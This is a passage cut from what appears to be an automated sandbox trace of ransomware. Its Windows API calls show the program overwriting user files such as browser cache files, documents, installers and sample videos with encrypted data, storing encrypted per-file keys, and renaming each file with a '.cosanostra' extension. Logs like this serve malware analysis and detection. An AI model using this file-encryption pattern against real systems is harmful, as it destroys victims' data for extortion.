HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\cbd4dd01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0088.809] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01") returned 109 [0088.809] StrStrW (lpFirst="CBD4Dd01", lpSrch=".txt") returned 0x0 [0088.846] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.846] WriteFile (in: hFile=0x180, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df7ac, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df7ac*=0x2800, lpOverlapped=0x0) returned 1 [0088.846] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.847] WriteFile (in: hFile=0x180, lpBuffer=0x28df7ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7ac, lpOverlapped=0x0 | out: lpBuffer=0x28df7ec*, lpNumberOfBytesWritten=0x28df7ac*=0x4, lpOverlapped=0x0) returned 1 [0089.068] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7ac, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7ac*=0x30, lpOverlapped=0x0) returned 1 [0089.068] CloseHandle (hObject=0x180) returned 1 [0089.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\cbd4dd01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\cbd4dd01.cosanostra")) returned 1 [0089.070] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df7e8 | out: pbBuffer=0x28df7e8) returned 1 [0089.070] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df7e0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df7e0*=0x30) returned 1 [0089.070] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_map_"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0089.073] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_") returned 107 [0089.073] StrStrW (lpFirst="_CACHE_MAP_", lpSrch=".txt") returned 0x0 [0089.247] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffdeec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.248] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2114, lpNumberOfBytesWritten=0x28df7a4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df7a4*=0x2114, lpOverlapped=0x0) returned 1 [0089.248] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.248] WriteFile (in: hFile=0x188, lpBuffer=0x28df7e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df7a4, lpOverlapped=0x0 | out: lpBuffer=0x28df7e4*, lpNumberOfBytesWritten=0x28df7a4*=0x4, lpOverlapped=0x0) returned 1 [0089.248] WriteFile (in: hFile=0x188, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df7a4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df7a4*=0x30, lpOverlapped=0x0) returned 1 [0089.248] CloseHandle (hObject=0x188) returned 1 [0089.249] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_map_"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_MAP_.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_map_.cosanostra")) returned 1 [0089.251] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df7d8 | out: pbBuffer=0x28df7d8) returned 1 [0089.251] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df7d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df7d0*=0x30) returned 1 [0089.251] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\_cache_clean_"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0089.252] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_") returned 103 [0089.252] StrStrW (lpFirst="_CACHE_CLEAN_", lpSrch=".txt") returned 0x0 [0089.252] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffffff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.253] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x28df794, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df794*=0x1, lpOverlapped=0x0) returned 1 [0089.253] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.253] WriteFile (in: hFile=0x188, lpBuffer=0x28df7d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df794, lpOverlapped=0x0 | out: lpBuffer=0x28df7d4*, lpNumberOfBytesWritten=0x28df794*=0x4, lpOverlapped=0x0) returned 1 [0089.253] WriteFile (in: hFile=0x188, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df794, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df794*=0x30, lpOverlapped=0x0) returned 1 [0089.253] CloseHandle (hObject=0x188) returned 1 [0089.253] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\_cache_clean_"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\_CACHE_CLEAN_.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\_cache_clean_.cosanostra")) returned 1 [0089.255] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df7d0 | out: pbBuffer=0x28df7d0) returned 1 [0089.255] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df7c8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df7c8*=0x30) returned 1 [0089.256] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0089.258] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png") returned 137 [0089.258] StrStrW (lpFirst="ce8c0453589216a67cddb50284fbfe8d.png", lpSrch=".txt") returned 0x0 [0089.339] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.339] WriteFile (in: hFile=0x188, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df78c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x28df78c*=0x2800, lpOverlapped=0x0) returned 1 [0089.340] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.340] WriteFile (in: hFile=0x188, lpBuffer=0x28df7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df78c, lpOverlapped=0x0 | out: lpBuffer=0x28df7cc*, lpNumberOfBytesWritten=0x28df78c*=0x4, lpOverlapped=0x0) returned 1 [0089.933] WriteFile (in: hFile=0x188, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df78c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df78c*=0x30, lpOverlapped=0x0) returned 1 [0089.933] CloseHandle (hObject=0x188) returned 1 [0089.933] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.cosanostra")) returned 1 [0089.934] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df7d0 | out: pbBuffer=0x28df7d0) returned 1 [0089.934] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df7c8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df7c8*=0x30) returned 1 [0089.934] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\Ylf5LCwpEJ uPvC0b\\bxHiuJH09wDyFePJh.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\ylf5lcwpej upvc0b\\bxhiujh09wdyfepjh.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0089.934] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\Ylf5LCwpEJ uPvC0b\\bxHiuJH09wDyFePJh.ots") returned 95 [0089.935] StrStrW (lpFirst="bxHiuJH09wDyFePJh.ots", lpSrch=".txt") returned 0x0 [0089.935] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.935] WriteFile (in: hFile=0x188, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df78c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x28df78c*=0x2800, lpOverlapped=0x0) returned 1 [0089.935] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.935] WriteFile (in: hFile=0x188, lpBuffer=0x28df7cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df78c, lpOverlapped=0x0 | out: lpBuffer=0x28df7cc*, lpNumberOfBytesWritten=0x28df78c*=0x4, lpOverlapped=0x0) returned 1 [0089.936] WriteFile (in: hFile=0x188, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df78c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x28df78c*=0x30, lpOverlapped=0x0) returned 1 [0089.936] CloseHandle (hObject=0x188) returned 1 [0090.044] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\Ylf5LCwpEJ uPvC0b\\bxHiuJH09wDyFePJh.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\ylf5lcwpej upvc0b\\bxhiujh09wdyfepjh.ots"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\Ylf5LCwpEJ uPvC0b\\bxHiuJH09wDyFePJh.ots.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\ylf5lcwpej upvc0b\\bxhiujh09wdyfepjh.ots.cosanostra")) returned 1 [0090.105] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df7c8 | out: pbBuffer=0x28df7c8) returned 1 [0090.105] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df7c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df7c0*=0x30) returned 1 [0090.105] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.106] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df7c8 | out: pbBuffer=0x28df7c8) returned 1 [0090.106] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df7c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df7c0*=0x30) returned 1 [0090.106] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\." (normalized: "c:\\users\\default\\appdata\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.106] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df7c0 | out: pbBuffer=0x28df7c0) returned 1 [0090.106] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x28df7b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x28df7b8*=0x30) returned 1 [0090.106] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\.." (normalized: "c:\\users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.106] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df7c0 | out: pbBuffer=0x28df7c0) returned 1 [0090.106] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x28df7b8*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x28df7b8*=0x30) returned 1 [0090.106] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\." (normalized: "c:\\users\\default\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.106] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df770 | out: pbBuffer=0x28df770) returned 1 [0090.107] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df768*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df768*=0x30) returned 1 [0090.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.107] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned 92 [0090.107] StrStrW (lpFirst="vcredist_x64.exe", lpSrch=".txt") returned 0x0 [0090.108] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.109] WriteFile (in: hFile=0x154, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df72c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df72c*=0x2800, lpOverlapped=0x0) returned 1 [0090.109] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.109] WriteFile (in: hFile=0x154, lpBuffer=0x28df76c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df72c, lpOverlapped=0x0 | out: lpBuffer=0x28df76c*, lpNumberOfBytesWritten=0x28df72c*=0x4, lpOverlapped=0x0) returned 1 [0090.116] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df72c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df72c*=0x30, lpOverlapped=0x0) returned 1 [0090.116] CloseHandle (hObject=0x154) returned 1 [0090.117] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.cosanostra")) returned 1 [0090.404] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df758 | out: pbBuffer=0x28df758) returned 1 [0090.404] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df750*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df750*=0x30) returned 1 [0090.404] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.404] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv") returned 53 [0090.404] StrStrW (lpFirst="Wildlife.wmv", lpSrch=".txt") returned 0x0 [0090.406] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.406] WriteFile (in: hFile=0x154, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df714, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df714*=0x2800, lpOverlapped=0x0) returned 1 [0090.406] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.406] WriteFile (in: hFile=0x154, lpBuffer=0x28df754*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df714, lpOverlapped=0x0 | out: lpBuffer=0x28df754*, lpNumberOfBytesWritten=0x28df714*=0x4, lpOverlapped=0x0) returned 1 [0090.407] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df714, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df714*=0x30, lpOverlapped=0x0) returned 1 [0090.407] CloseHandle (hObject=0x154) returned 1 [0090.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.cosanostra" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.cosanostra")) returned 1 [0090.412] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df758 | out: pbBuffer=0x28df758) returned 1 [0090.412] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df750*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df750*=0x30) returned 1 [0090.412] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.412] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini") returned 52 [0090.412] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.414] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffeba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.414] WriteFile (in: hFile=0x154, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x28df714, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df714*=0x146, lpOverlapped=0x0) returned 1 [0090.414] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.414] WriteFile (in: hFile=0x154, lpBuffer=0x28df754*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df714, lpOverlapped=0x0 | out: lpBuffer=0x28df754*, lpNumberOfBytesWritten=0x28df714*=0x4, lpOverlapped=0x0) returned 1 [0090.415] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df714, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df714*=0x30, lpOverlapped=0x0) returned 1 [0090.415] CloseHandle (hObject=0x154) returned 1 [0090.415] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini.cosanostra")) returned 1 [0090.417] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df750 | out: pbBuffer=0x28df750) returned 1 [0090.417] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df748*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df748*=0x30) returned 1 [0090.417] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\.." (normalized: "c:\\users\\public\\videos"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.417] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df750 | out: pbBuffer=0x28df750) returned 1 [0090.417] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df748*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df748*=0x30) returned 1 [0090.417] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\." (normalized: "c:\\users\\public\\videos\\sample videos\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.417] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df748 | out: pbBuffer=0x28df748) returned 1 [0090.417] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df740*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df740*=0x30) returned 